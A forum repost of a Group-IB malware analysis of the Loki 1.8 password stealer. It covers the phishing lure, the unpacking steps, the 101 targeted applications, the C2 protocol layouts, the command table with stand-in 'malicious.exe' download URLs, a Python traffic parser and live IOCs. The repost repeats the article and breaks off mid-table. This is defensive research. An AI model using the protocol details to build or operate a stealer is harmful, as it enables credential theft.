[IT-инфраструктура, Информационная безопасность, Исследования и прогнозы в IT, Реверс-инжиниринг] Loki 1.8: досье на молодой и подающий надежды Data Stealer
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
В середине июня борьба с коронавирусом в Казахстане была в самом разгаре. Встревоженные ростом числа заболевших (тогда заразился даже бывший президент Нурсултан Назарбаев), местные власти решились вновь позакрывать все торгово-развлекательные центры, сетевые магазины, рынки и базары. И в этот момент ситуацией воспользовались киберпреступники, отправившие по российским и международным компаниям вредоносную рассылку.
Опасные письма, замаскированную под обращение министра здравоохранения Республики Казахстан, перехватила система Threat Detection System (TDS) Group-IB. Во вложении письма находились документы, при запуске которых на компьютер устанавливалась вредоносная программа из семейства Loki PWS (Password Stealer), предназначенная для кражи логинов и паролей с зараженного компьютера. В дальнейшем злоумышленники могут использовать их для получения доступа к почтовым аккаунтам для финансового мошенничества, шпионажа или продать на хакерских форумах.
В этой статье Никита Карпов, аналитик CERT-GIB, рассматривает экземпляр одного из самых популярных сейчас Data Stealer’ов — Loki.
Сегодня мы рассмотрим одну из популярных версий бота — 1.8. Она активно продается, а админ панель можно найти даже в открытом доступе: здесь.
Пример админ-панели:
Loki написан на языке C++ и является одним из самых популярных ВПО, используемых для похищения пользовательской информации с зараженного компьютера. Как и бич нашего времени — вирусы-шифровальщики — Data Stealer после попадания на компьютер жертвы с очень большой скоростью выполняют поставленную задачу — ему не надо закрепляться и повышать свои привилегии в системе, он практически не оставляет времени на защиту от атаки. Поэтому в событиях с ВПО, которое похищает пользовательские данные, главную роль играет расследование инцидента.
Распаковка и получение работоспособного дампа ВПО
Распространение в большинстве случаев происходит через вложения в рассылках писем. Пользователь под видом легитимного файла загружает и открывает вложение, запуская работу ВПО.
По маркеру инжекта можно предположить о наличии Loader.
С помощью DIE получаем информацию, что исходный файл написан на VB6.
График энтропии свидетельствует о большом количестве зашифрованных данных.
При запуске первый процесс создает дочерний, совершает инжект и завершает свою работу. Второй процесс отвечает за работу ВПО. После небольшого промежутка времени останавливаем работу процесса и сохраняем дамп памяти. Чтобы подтвердить, что внутри дампа находится Loki, ищем внутри url командного центра, который в большинстве случаев оканчивается на fre.php.
Выполняем дамп фрагмента памяти, содержащего Loki, и производим корректировку PE-заголовка.
Работоспособность дампа проверим с помощью системы TDS Huntbox.
Функционал бота
В процессе исследования декомпилированного кода ВПО находим часть, содержащую четыре функции, идущие сразу после инициализации необходимых для работы библиотек. Разобрав каждую из них внутри, определяем их назначение и функциональность нашего ВПО.
Названия функций для удобства были переименованы в более информативные.
Функционал бота определяется двумя главными функциями:
- Data Stealer — первая функция, отвечающая за похищение данных из 101 приложения и отправку на сервер.
- Downloader — запрос от CnC (Command & Control) команд для исполнения.
Для удобства в таблице, приведенной ниже, представлены все приложения, из которых исследуемый экземпляр Loki пытается похитить данные.
ID функции
Приложение
ID функции
Приложение
ID функции
Приложение
1
Mozilla Firefox
35
FTPInfo
69
ClassicFTP
2
Comodo IceDragon
36
LinasFTP
70
PuTTY/KiTTY
3
Apple Safari
37
FileZilla
71
Thunderbird
4
K-Meleon
38
Staff-FTP
72
Foxmail
5
SeaMonkey
39
BlazeFtp
73
Pocomail
6
Flock
40
NETFile
74
IncrediMail
7
NETGATE BlackHawk
41
GoFTP
75
Gmail notifier pro
8
Lunascape
42
ALFTP
76
Checkmail
9
Google Chrome
43
DeluxeFTP
77
WinFtp
10
Opera
44
Total Commander
78
Martin Prikryl
11
QTWeb Browser
45
FTPGetter
79
32BitFtp
12
QupZilla
46
WS_FTP
80
FTP Navigator
13
Internet Explorer
47
Mail Client configuration files
81
Mailing
(softwarenetz)
14
Opera 2
48
Full Tilt Poker
82
Opera Mail
15
Cyberfox
49
PokerStars
83
Postbox
16
Pale Moon
50
ExpanDrive
84
FossaMail
17
Waterfox
51
Steed
85
Becky!
18
Pidgin
52
FlashFXP
86
POP3
19
SuperPutty
53
NovaFTP
87
Outlook
20
FTPShell
54
NetDrive
88
Ymail2
21
NppFTP
55
Total Commander 2
89
Trojitá
22
MyFTP
56
SmartFTP
90
TrulyMail
23
FTPBox
57
FAR Manager
91
.spn Files
24
sherrod FTP
58
Bitvise
92
To-Do Desklist
25
FTP Now
59
RealVNC
TightVNC
93
Stickies
26
NexusFile
60
mSecure Wallet
94
NoteFly
27
Xftp
61
Syncovery
95
NoteZilla
28
EasyFTP
62
FreshFTP
96
Sticky Notes
29
SftpNetDrive
63
BitKinex
97
KeePass
30
AbleFTP
64
UltraFXP
98
Enpass
31
JaSFtp
65
FTP Now 2
99
My RoboForm
32
Automize
66
Vandyk SecureFX
100
1Password
33
Cyberduck
67
Odin Secure FTP Expert
101
Mikrotik WinBox
34
Fullsync
68
Fling
На этом этапе завершен статический анализ ВПО и в следующем разделе рассмотрим, как Loki общается с сервером.
Сетевое взаимодействие
Для записи сетевого взаимодействия необходимо решить две проблемы:
- Командный центр доступен только на момент проведения атаки.
- Wireshark не фиксирует коммуникации бота в loopback, поэтому нужно пользоваться другими средствами.
Самое простое решение — переадресовать адрес CnC, с которым Loki будет устанавливать коммуникацию, на localhost. Для бота сервер теперь доступен в любое время, хоть и не отвечает, но для записи коммуникаций бота это и не нужно. Для решения второй проблемы воспользуемся утилитой RawCap, которая позволяет записать в pcap необходимые нам коммуникации. Далее записанный pcap будем разбирать уже в Wireshark.
Перед каждой коммуникацией бот проверяет доступность CnC и, если он доступен — открывает socket. Все сетевые коммуникации проходят на транспортном уровне по протоколу TCP, а на прикладном используется HTTP.
В таблице ниже представлены заголовки пакета, которые стандартно использует Loki.
Поле
Значение
Описание
User-agent
Mozilla/4.08 (Charon; Inferno)
Характерный юзерагент для Loki
Accept
*/*
Content-Type
application/octet-stream
Content-Encoding
binary
Content-Key
7DE968CC
Результат хеширования предыдущих заголовков (хеширование происходит кастомным алгоритмом CRC с полиномом 0xE8677835)
Connection
close
Обратим внимание на body пакета:
- Структура записанных данных зависит от версии бота, и в более ранних версиях отсутствуют поля, которые отвечают за опции шифрования и компрессии.
- По типу запроса сервер определяет, как обрабатывать полученные данные. Существует 7 типов данных, которые может прочитать сервер:
- 0x26 Похищенные данные кошельков
- 0x27 Похищенные данные приложений
- 0x28 Запрос команд от сервера
- 0x29 Выгрузка похищенного файла
- 0x2A POS
- 0x2B Данные кейлоггера
- 0x2C Скриншот
- В исследованном экземпляре присутствовали только 0x27, 0x28 и 0x2B.
- В каждом запросе есть общая информация о боте и зараженной системе, по которой сервер идентифицирует все отчеты по одной машине, а после идет информация, которая зависит от типа запроса.
- В последней версии бота реализовано только сжатие данных, а поля с шифрованием заготовлены на будущее и не обрабатываются сервером.
- Для сжатия данных используется открытая библиотека APLib.
При формировании запроса с похищенными данными бот выделяет буфер размером 0x1388 (5000 байт). Структура запросов 0x27 представлена в таблице ниже:
Смещение
Размер
Значение
Описание
0x0
0x2
0x0012
Версия бота
0x2
0x2
0x0027
Тип запроса (отправка похищенных данных)
0x4
0xD
ckav.ru
Binary ID (также встречается значение XXXXX11111)
0x11
0x10
-
Имя пользователя
0x21
0x12
-
Имя компьютера
0x33
0x12
-
Доменное имя компьютера
0x45
0x4
-
Разрешение экрана (ширина и высота)
0x49
0x4
-
0x4D
0x2
0x0001
Флаг прав пользователя (1, если администратор)
0x4F
0x2
0x0001
Флаг идентификатора безопасности (1, если установлен)
0x51
0x2
0x0001
Флаг разрядности системы (1, если x64)
0x53
0x2
0x0006
Версия Windows (major version number)
0x55
0x2
0x0001
Версия Windows (minor version number)
0x57
0x2
0x0001
Дополнительная информация о системе (1 = VER_NT_WORKSTATION)
0x59
0x2
-
0x5B
0x2
0x0000
Отправлялись ли похищенные данные
0x5D
0x2
0x0001
Использовалось ли сжатие данных
0x5F
0x2
0x0000
Тип сжатия
0x61
0x2
0x0000
Использовалось ли шифрование данных
0x63
0x2
0x0000
Тип шифрования
0x65
0x36
-
MD5 от значения регистра MachineGuid
0x9B
-
-
Сжатые похищенные данные
Второй этап взаимодействия с сервером начинается после закрепления в системе. Бот отправляет запрос с типом 0x28, структура которого представлена ниже:
Размер буфера: 0x2BC (700 байт)
Смещение
Размер
Значение
Описание
0x0
0x2
0x0012
Версия бота
0x2
0x2
0x0028
Тип запроса (запрос команд от командного центра)
0x4
0xD
ckav.ru
Binary ID (также встречается значение XXXXX11111)
0x11
0x10
-
Имя пользователя
0x21
0x12
-
Имя компьютера
0x33
0x12
-
Доменное имя компьютера
0x45
0x4
-
Разрешение экрана (ширина и высота)
0x49
0x4
-
0x4D
0x2
0x0001
Флаг прав пользователя (1, если администратор)
0x4F
0x2
0x0001
Флаг идентификатора безопасности (1, если установлен)
0x51
0x2
0x0001
Флаг разрядности системы (1, если x64)
0x53
0x2
0x0006
Версия Windows (major version number)
0x55
0x2
0x0001
Версия Windows (minor version number)
0x57
0x2
0x0001
Дополнительная информация о системе (1 = VER_NT_WORKSTATION)
0x59
0x2
0xFED0
0x5B
0x36
-
MD5 от значения регистра MachineGuid
После запроса бот ожидает получить ответ от сервера, содержащий количество и сами команды. Возможные варианты команд получены с помощью статического анализа декомпилированного кода ВПО и представлены ниже.
Размер буфера: 0x10 (16 байт) + 0x10 (16 байт) за каждую команду в пакете.
HTTP- заголовок (начало данных)
\r\n\r\n
[0D 0A 0D 0A]
4 байта
Суммарная длина данных
-
-
4 байта
Количество команд
2
[00 00 00 02]
4 байта
Команда
Пропускаемые байты
4 байта
Команды
4 байта
Пропускаемые байты
4 байта
Длина передаваемой строки
4 байта
Передаваемая строка
(пример)
#0
Загрузка и запуск EXE-файла
[00 00 00 00]
[00 00 00 00]
[00 00 00 00]
[00 00 00 23]
www.notsogood.site/malicious.exe
#1
Загрузка библиотеки DLL
[00 00 00 00]
[00 00 00 01]
[00 00 00 00]
[00 00 00 23]
www.notsogood.site/malicious.dll
#2
Загрузка EXE-файла
[00 00 00 00]
[00 00 00 02]
[00 00 00 00]
[00 00 00 23]
www.notsogood.site/malicious.exe
#8
Удаление базы данных хешей (HDB file)
[00 00 00 00]
[00 00 00 08]
[00 00 00 00]
[00 00 00 00]
-
#9
Старт кейлоггера
[00 00 00 00]
[00 00 00 09]
[00 00 00 00]
[00 00 00 00]
-
#10
Похищение данных и отправка на сервер
[00 00 00 00]
[00 00 00 0A]
[00 00 00 00]
[00 00 00 00]
-
#14
Завершение работы Loki
[00 00 00 00]
[00 00 00 0E]
[00 00 00 00]
[00 00 00 00]
-
#15
Загрузка новой версии Loki и удаление старой
[00 00 00 00]
[00 00 00 0F]
[00 00 00 00]
[00 00 00 23]
www.notsogood.site/malicious.exe
#16
Изменение частоты проверки ответа от сервера
[00 00 00 00]
[00 00 00 10]
[00 00 00 00]
[00 00 00 01]
5
#17
Удалить Loki и завершить работу
[00 00 00 00]
[00 00 00 11]
[00 00 00 00]
[00 00 00 00]
-
Парсер сетевого трафика
Благодаря проведенному анализу у нас есть вся необходимая информация для парсинга сетевых взаимодействий Loki.
Парсер реализован на языке Python, на вход получает pcap-файл и в нем находит все коммуникации, принадлежащие Loki.
Для начала воспользуемся библиотекой dkpt для поиска всех TCP-пакетов. Для получения только http-пакетов поставим фильтр на используемый порт. Среди полученных http-пакетов отберем те, что содержат известные заголовки Loki, и получим коммуникации, которые необходимо распарсить, чтобы извлечь из них информацию в читаемом виде.
for ts, buf in pcap:
eth = dpkt.ethernet.Ethernet(buf)
if not isinstance(eth.data, dpkt.ip.IP):
ip = dpkt.ip.IP(buf)
else:
ip = eth.data
if isinstance(ip.data, dpkt.tcp.TCP):
tcp = ip.data
try:
if tcp.dport == 80 and len(tcp.data) > 0: # HTTP REQUEST
if str(tcp.data).find('POST') != -1:
http += 1
httpheader = tcp.data
continue
else:
if httpheader != "":
print('Request information:')
pkt = httpheader + tcp.data
httpheader = ""
if debug:
print(pkt)
req += 1
request = dpkt.http.Request(pkt)
uri = request.headers['host'] + request.uri
parsed_payload['Network']['Source IP'] = socket.inet_ntoa(ip.src)
parsed_payload['Network']['Destination IP'] = socket.inet_ntoa(ip.dst)
parsed_payload_same['Network']['CnC'] = uri
parsed_payload['Network']['HTTP Method'] = request.method
if uri.find("fre.php"):
print("Loki detected!")
pt = parseLokicontent(tcp.data, debug)
parsed_payload_same['Malware Artifacts/IOCs']['User-Agent String'] = request.headers['user-agent']
print(json.dumps(parsed_payload, ensure_ascii=False, sort_keys=False, indent=4))
parsed_payload['Network'].clear()
parsed_payload['Compromised Host/User Data'].clear()
parsed_payload['Malware Artifacts/IOCs'].clear()
print("----------------------")
if tcp.sport == 80 and len(tcp.data) > 0: # HTTP RESPONCE
resp += 1
if pt == 40:
print('Responce information:')
parseC2commands(tcp.data, debug)
print("----------------------")
pt = 0
except(dpkt.dpkt.NeedData, dpkt.dpkt.UnpackError):
continue
Во всех запросах Loki первые 4 байта отвечают за версию бота и тип запроса. По этим двум параметрам определяем, как будем обрабатывать данные.
def parseLokicontent(data, debug):
index = 0
botV = int.from_bytes(data[0:2], byteorder=sys.byteorder)
parsed_payload_same['Malware Artifacts/IOCs']['Loki-Bot Version'] = botV
payloadtype = int.from_bytes(data[2:4], byteorder=sys.byteorder)
index = 4
print("Payload type: : %s" % payloadtype)
if payloadtype == 39:
parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Application/Credential Data"
parse_type27(data, debug)
elif payloadtype == 40:
parsed_payload['Network']['Traffic Purpose'] = "Get C2 Commands"
parse_type28(data, debug)
elif payloadtype == 43:
parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Keylogger Data"
parse_type2b(lb_payload)
elif payloadtype == 38:
parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Cryptocurrency Wallet"
elif payloadtype == 41:
parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Files"
elif payloadtype == 42:
parsed_payload['Network'].['Traffic Purpose'] = "Exfiltrate POS Data"
elif payloadtype == 44:
parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Screenshots"
return payloadtype
Следующим в очереди будет разбор ответа от сервера. Для считывания только полезной информации ищем последовательность \r\n\r\n, которая определяет конец заголовков пакета и начало команд от сервера.
def parseC2commands(data, debug):
word = 2
dword = 4
end = data.find(b'\r\n\r\n')
if end != -1:
index = end + 4
if (str(data).find('<html>')) == -1:
if debug:
print(data)
fullsize = getDWord(data, index)
print("Body size: : %s" % fullsize)
index += dword
count = getDWord(data, index)
print("Commands: : %s" % count)
if count == 0:
print('No commands received')
else:
index += dword
for i in range(count):
print("Command: %s" % (i + 1))
id = getDWord(data, index)
print("Command ID: %s" % id)
index += dword
type = getDWord(data, index)
print("Command type: %s" % type)
index += dword
timelimit = getDWord(data, index)
print("Command timelimit: %s" % timelimit)
index += dword
datalen = getDWord(data, index)
index += dword
command_data = getString(data, index, datalen)
print("Command data: %s" % command_data)
index += datalen
else:
print('No commands received')
return None
На этом заканчиваем разбор основной части алгоритма работы парсера и переходим к результату, который получаем на выходе. Вся информация выводится в json-формате.
Ниже представлены изображения результата работы парсера, полученные из коммуникаций различных ботов, с разными CnC и записанные в разных окружениях.
Request information:
Loki detected!
Payload type: 39
Decompressed data:
{'Module': {'Mozilla Firefox'}, 'Version': {0}, 'Data': {'domain': {'https://accounts.google.com'}, 'username': {'none@gmail.com'}, 'password': {'test'}}}
{'Module': {'NppFTP'}, 'Version': {0}, 'Data': {b'<?xml version="1.0" encoding="UTF-8" ?>\r\n<NppFTP defaultCache="%CONFIGDIR%\\Cache\\%USERNAME%@%HOSTNAME%" outputShown="0" windowRatio="0.5" clearCache="0" clearCachePermanent="0">\r\n <Profiles />\r\n</NppFTP>\r\n'}}
{
"Network": {
"Source IP": "-",
"Destination IP": "185.141.27.187",
"HTTP Method": "POST",
"Traffic Purpose": "Exfiltrate Application/Credential Data",
"First Transmission": true
},
"Compromised Host/User Data": {},
"Malware Artifacts/IOCs": {}
}
Выше представлен пример запроса на сервер 0x27 (выгрузка данных приложений). Для тестирования были созданы аккаунты в трех приложениях: Mozilla Firefox, NppFTP и FileZilla. У Loki существует три варианта записи данных приложений:
- В виде SQL-базы данных (парсер сохраняет базу данных и выводит все доступные строки в ней).
- В открытом виде, как у Firefox в примере.
- В виде xml-файла, как у NppFTP и FileZilla.
Request information:
Loki detected!
Payload type: 39
No data stolen
{
"Network": {
"Source IP": "-",
"Destination IP": "185.141.27.187",
"HTTP Method": "POST",
"Traffic Purpose": "Exfiltrate Application/Credential Data",
"First Transmission": false
},
"Compromised Host/User Data": {},
"Malware Artifacts/IOCs": {}
}
Второй запрос имеет тип 0x28 и запрашивает команды от сервера.
Responce information:
Body size: 26
Commands: 1
Command: 1
Command ID: 0
Command type: 9
Command timelimit: 0
Command data: 35
Пример ответа от CnC, который отправил в ответ одну команду на старт кейлоггера. И последующая выгрузка данных кейлоггера.
Request information:
Loki detected!
Payload type: : 43
{
"Network": {
"Source IP": "-",
"Destination IP": "185.141.27.187",
"HTTP Method": "POST",
"Traffic Purpose": "Exfiltrate Keylogger Data"
},
"Compromised Host/User Data": {},
"Malware Artifacts/IOCs": {}
}
В конце работы парсер выводит информацию, которая содержится в каждом запросе от бота (информацию о боте и о системе), и количество запросов и ответов, связанных с Loki в pcap-файле.
General information:
{
"Network": {
"CnC": "nganyin-my.com/chief6/five/fre.php"
},
"Compromised Host/User Description": {
"User Name": "-",
"Hostname": "-",
"Domain Hostname": "-",
"Screen Resolution": "1024x768",
"Local Admin": true,
"Built-In Admin": true,
"64bit OS": false,
"Operating System": "Windows 7 Workstation"
},
"Malware Artifacts/IOCs": {
"Loki-Bot Version": 18,
"Binary ID": "ckav.ru",
"MD5 from GUID": "-",
"User-Agent String": "Mozilla/4.08 (Charon; Inferno)"
}
}
Requests: 3
Responces: 3
Полный код парсера доступен по ссылке: github.com/Group-IB/LokiParser
Заключение
В этой статье мы ближе познакомились с ВПО Loki, разобрали его функционал и реализовали парсер сетевого трафика, который значительно упростит процесс анализа инцидента и поможет понять, что именно было похищено с зараженного компьютера. Хотя разработка Loki все еще продолжается, была слита только версия 1.8 (и более ранние), именно с этой версией специалисты по безопасности сталкиваются каждый день.
В следующей статье мы разберем еще один популярный Data Stealer, Pony, и сравним эти ВПО.
Indicator of Compromise (IOCs):
Urls:
- nganyin-my.com/chief6/five/fre.php
- wardia.com.pe/wp-includes/texts/five/fre.php
- broken2.cf/Work2/fre.php
- 185.141.27.187/danielsden/ver.php
- MD5 hash: B0C33B1EF30110C424BABD66126017E5
- User-Agent String: «Mozilla/4.08 (Charon; Inferno)»
- Binary ID: «ckav.ru»
===========
Источник:
habr.com
===========
Похожие новости:
- [Информационная безопасность, Программирование] Безопасность через неясность недооценивается (перевод)
- [IT-инфраструктура, Законодательство в IT, Информационная безопасность] IaaS 152-ФЗ: итак, вам нужна безопасность
- [Информационная безопасность] Molto-2 — a USB programmable multi-profile TOTP hardware token
- [Удалённая работа, Транспорт, Исследования и прогнозы в IT] Удаленная работа с начала коронавируса сэкономила американцам $91 млрд на транспорте, или около $2000 на человека (перевод)
- [CTF, Занимательные задачки, Информационная безопасность, Карьера в IT-индустрии] «Очная ставка» NeoQUEST-2020: максимальное погружение в кибербезопасность
- [Реверс-инжиниринг] Смотрим полевой транзистор IRF4905 фирмы International Rectifier с технологией HEXFET 5-ого поколения
- [Информационная безопасность, Софт] Регистратор доменов Subreg/Gransy подвергся атаке, большинство его сервисов не работают (перевод)
- [Информационная безопасность, DevOps] Трек DevSecOps — тест безопасности на DevOpsConf Live 2020
- [Информационная безопасность] Security Week 38: MITM-атака на карты Visa
- [Информационная безопасность, Хостинг, IT-компании, Хранение данных] Внутренние системы Equinix оказались заражены вирусом-шифровальщиком
Теги для поиска: #_itinfrastruktura (IT-инфраструктура), #_informatsionnaja_bezopasnost (Информационная безопасность), #_issledovanija_i_prognozy_v_it (Исследования и прогнозы в IT), #_reversinzhiniring (Реверс-инжиниринг), #_malware, #_vredonos (вредонос), #_vpo (ВПО), #_vredonosnoe_po (вредоносное ПО), #_stealer, #_stiler (стилер), #_vredonosnoe_programmnoe_obespechenie (вредоносное программное обеспечение), #_analiz_koda (анализ кода), #_analiz_virusov (анализ вирусов), #_analiz_vredonosov (анализ вредоносов), #_analiz_vredonosnogo_po (анализ вредоносного по), #_blog_kompanii_groupib (
Блог компании Group-IB
), #_itinfrastruktura (
IT-инфраструктура
), #_informatsionnaja_bezopasnost (
Информационная безопасность
), #_issledovanija_i_prognozy_v_it (
Исследования и прогнозы в IT
), #_reversinzhiniring (
Реверс-инжиниринг
)
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 18:48
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
В середине июня борьба с коронавирусом в Казахстане была в самом разгаре. Встревоженные ростом числа заболевших (тогда заразился даже бывший президент Нурсултан Назарбаев), местные власти решились вновь позакрывать все торгово-развлекательные центры, сетевые магазины, рынки и базары. И в этот момент ситуацией воспользовались киберпреступники, отправившие по российским и международным компаниям вредоносную рассылку. Опасные письма, замаскированную под обращение министра здравоохранения Республики Казахстан, перехватила система Threat Detection System (TDS) Group-IB. Во вложении письма находились документы, при запуске которых на компьютер устанавливалась вредоносная программа из семейства Loki PWS (Password Stealer), предназначенная для кражи логинов и паролей с зараженного компьютера. В дальнейшем злоумышленники могут использовать их для получения доступа к почтовым аккаунтам для финансового мошенничества, шпионажа или продать на хакерских форумах. В этой статье Никита Карпов, аналитик CERT-GIB, рассматривает экземпляр одного из самых популярных сейчас Data Stealer’ов — Loki. Сегодня мы рассмотрим одну из популярных версий бота — 1.8. Она активно продается, а админ панель можно найти даже в открытом доступе: здесь. Пример админ-панели: Loki написан на языке C++ и является одним из самых популярных ВПО, используемых для похищения пользовательской информации с зараженного компьютера. Как и бич нашего времени — вирусы-шифровальщики — Data Stealer после попадания на компьютер жертвы с очень большой скоростью выполняют поставленную задачу — ему не надо закрепляться и повышать свои привилегии в системе, он практически не оставляет времени на защиту от атаки. Поэтому в событиях с ВПО, которое похищает пользовательские данные, главную роль играет расследование инцидента. Распаковка и получение работоспособного дампа ВПО Распространение в большинстве случаев происходит через вложения в рассылках писем. Пользователь под видом легитимного файла загружает и открывает вложение, запуская работу ВПО. По маркеру инжекта можно предположить о наличии Loader. С помощью DIE получаем информацию, что исходный файл написан на VB6. График энтропии свидетельствует о большом количестве зашифрованных данных. При запуске первый процесс создает дочерний, совершает инжект и завершает свою работу. Второй процесс отвечает за работу ВПО. После небольшого промежутка времени останавливаем работу процесса и сохраняем дамп памяти. Чтобы подтвердить, что внутри дампа находится Loki, ищем внутри url командного центра, который в большинстве случаев оканчивается на fre.php. Выполняем дамп фрагмента памяти, содержащего Loki, и производим корректировку PE-заголовка. Работоспособность дампа проверим с помощью системы TDS Huntbox. Функционал бота В процессе исследования декомпилированного кода ВПО находим часть, содержащую четыре функции, идущие сразу после инициализации необходимых для работы библиотек. Разобрав каждую из них внутри, определяем их назначение и функциональность нашего ВПО. Названия функций для удобства были переименованы в более информативные. Функционал бота определяется двумя главными функциями:
Для удобства в таблице, приведенной ниже, представлены все приложения, из которых исследуемый экземпляр Loki пытается похитить данные. ID функции Приложение ID функции Приложение ID функции Приложение 1 Mozilla Firefox 35 FTPInfo 69 ClassicFTP 2 Comodo IceDragon 36 LinasFTP 70 PuTTY/KiTTY 3 Apple Safari 37 FileZilla 71 Thunderbird 4 K-Meleon 38 Staff-FTP 72 Foxmail 5 SeaMonkey 39 BlazeFtp 73 Pocomail 6 Flock 40 NETFile 74 IncrediMail 7 NETGATE BlackHawk 41 GoFTP 75 Gmail notifier pro 8 Lunascape 42 ALFTP 76 Checkmail 9 Google Chrome 43 DeluxeFTP 77 WinFtp 10 Opera 44 Total Commander 78 Martin Prikryl 11 QTWeb Browser 45 FTPGetter 79 32BitFtp 12 QupZilla 46 WS_FTP 80 FTP Navigator 13 Internet Explorer 47 Mail Client configuration files 81 Mailing (softwarenetz) 14 Opera 2 48 Full Tilt Poker 82 Opera Mail 15 Cyberfox 49 PokerStars 83 Postbox 16 Pale Moon 50 ExpanDrive 84 FossaMail 17 Waterfox 51 Steed 85 Becky! 18 Pidgin 52 FlashFXP 86 POP3 19 SuperPutty 53 NovaFTP 87 Outlook 20 FTPShell 54 NetDrive 88 Ymail2 21 NppFTP 55 Total Commander 2 89 Trojitá 22 MyFTP 56 SmartFTP 90 TrulyMail 23 FTPBox 57 FAR Manager 91 .spn Files 24 sherrod FTP 58 Bitvise 92 To-Do Desklist 25 FTP Now 59 RealVNC TightVNC 93 Stickies 26 NexusFile 60 mSecure Wallet 94 NoteFly 27 Xftp 61 Syncovery 95 NoteZilla 28 EasyFTP 62 FreshFTP 96 Sticky Notes 29 SftpNetDrive 63 BitKinex 97 KeePass 30 AbleFTP 64 UltraFXP 98 Enpass 31 JaSFtp 65 FTP Now 2 99 My RoboForm 32 Automize 66 Vandyk SecureFX 100 1Password 33 Cyberduck 67 Odin Secure FTP Expert 101 Mikrotik WinBox 34 Fullsync 68 Fling На этом этапе завершен статический анализ ВПО и в следующем разделе рассмотрим, как Loki общается с сервером. Сетевое взаимодействие Для записи сетевого взаимодействия необходимо решить две проблемы:
Самое простое решение — переадресовать адрес CnC, с которым Loki будет устанавливать коммуникацию, на localhost. Для бота сервер теперь доступен в любое время, хоть и не отвечает, но для записи коммуникаций бота это и не нужно. Для решения второй проблемы воспользуемся утилитой RawCap, которая позволяет записать в pcap необходимые нам коммуникации. Далее записанный pcap будем разбирать уже в Wireshark. Перед каждой коммуникацией бот проверяет доступность CnC и, если он доступен — открывает socket. Все сетевые коммуникации проходят на транспортном уровне по протоколу TCP, а на прикладном используется HTTP. В таблице ниже представлены заголовки пакета, которые стандартно использует Loki. Поле Значение Описание User-agent Mozilla/4.08 (Charon; Inferno) Характерный юзерагент для Loki Accept */* Content-Type application/octet-stream Content-Encoding binary Content-Key 7DE968CC Результат хеширования предыдущих заголовков (хеширование происходит кастомным алгоритмом CRC с полиномом 0xE8677835) Connection close Обратим внимание на body пакета:
При формировании запроса с похищенными данными бот выделяет буфер размером 0x1388 (5000 байт). Структура запросов 0x27 представлена в таблице ниже: Смещение Размер Значение Описание 0x0 0x2 0x0012 Версия бота 0x2 0x2 0x0027 Тип запроса (отправка похищенных данных) 0x4 0xD ckav.ru Binary ID (также встречается значение XXXXX11111) 0x11 0x10 - Имя пользователя 0x21 0x12 - Имя компьютера 0x33 0x12 - Доменное имя компьютера 0x45 0x4 - Разрешение экрана (ширина и высота) 0x49 0x4 - 0x4D 0x2 0x0001 Флаг прав пользователя (1, если администратор) 0x4F 0x2 0x0001 Флаг идентификатора безопасности (1, если установлен) 0x51 0x2 0x0001 Флаг разрядности системы (1, если x64) 0x53 0x2 0x0006 Версия Windows (major version number) 0x55 0x2 0x0001 Версия Windows (minor version number) 0x57 0x2 0x0001 Дополнительная информация о системе (1 = VER_NT_WORKSTATION) 0x59 0x2 - 0x5B 0x2 0x0000 Отправлялись ли похищенные данные 0x5D 0x2 0x0001 Использовалось ли сжатие данных 0x5F 0x2 0x0000 Тип сжатия 0x61 0x2 0x0000 Использовалось ли шифрование данных 0x63 0x2 0x0000 Тип шифрования 0x65 0x36 - MD5 от значения регистра MachineGuid 0x9B - - Сжатые похищенные данные Второй этап взаимодействия с сервером начинается после закрепления в системе. Бот отправляет запрос с типом 0x28, структура которого представлена ниже: Размер буфера: 0x2BC (700 байт) Смещение Размер Значение Описание 0x0 0x2 0x0012 Версия бота 0x2 0x2 0x0028 Тип запроса (запрос команд от командного центра) 0x4 0xD ckav.ru Binary ID (также встречается значение XXXXX11111) 0x11 0x10 - Имя пользователя 0x21 0x12 - Имя компьютера 0x33 0x12 - Доменное имя компьютера 0x45 0x4 - Разрешение экрана (ширина и высота) 0x49 0x4 - 0x4D 0x2 0x0001 Флаг прав пользователя (1, если администратор) 0x4F 0x2 0x0001 Флаг идентификатора безопасности (1, если установлен) 0x51 0x2 0x0001 Флаг разрядности системы (1, если x64) 0x53 0x2 0x0006 Версия Windows (major version number) 0x55 0x2 0x0001 Версия Windows (minor version number) 0x57 0x2 0x0001 Дополнительная информация о системе (1 = VER_NT_WORKSTATION) 0x59 0x2 0xFED0 0x5B 0x36 - MD5 от значения регистра MachineGuid После запроса бот ожидает получить ответ от сервера, содержащий количество и сами команды. Возможные варианты команд получены с помощью статического анализа декомпилированного кода ВПО и представлены ниже. Размер буфера: 0x10 (16 байт) + 0x10 (16 байт) за каждую команду в пакете. HTTP- заголовок (начало данных) \r\n\r\n [0D 0A 0D 0A] 4 байта Суммарная длина данных - - 4 байта Количество команд 2 [00 00 00 02] 4 байта Команда Пропускаемые байты 4 байта Команды 4 байта Пропускаемые байты 4 байта Длина передаваемой строки 4 байта Передаваемая строка (пример) #0 Загрузка и запуск EXE-файла [00 00 00 00] [00 00 00 00] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.exe #1 Загрузка библиотеки DLL [00 00 00 00] [00 00 00 01] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.dll #2 Загрузка EXE-файла [00 00 00 00] [00 00 00 02] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.exe #8 Удаление базы данных хешей (HDB file) [00 00 00 00] [00 00 00 08] [00 00 00 00] [00 00 00 00] - #9 Старт кейлоггера [00 00 00 00] [00 00 00 09] [00 00 00 00] [00 00 00 00] - #10 Похищение данных и отправка на сервер [00 00 00 00] [00 00 00 0A] [00 00 00 00] [00 00 00 00] - #14 Завершение работы Loki [00 00 00 00] [00 00 00 0E] [00 00 00 00] [00 00 00 00] - #15 Загрузка новой версии Loki и удаление старой [00 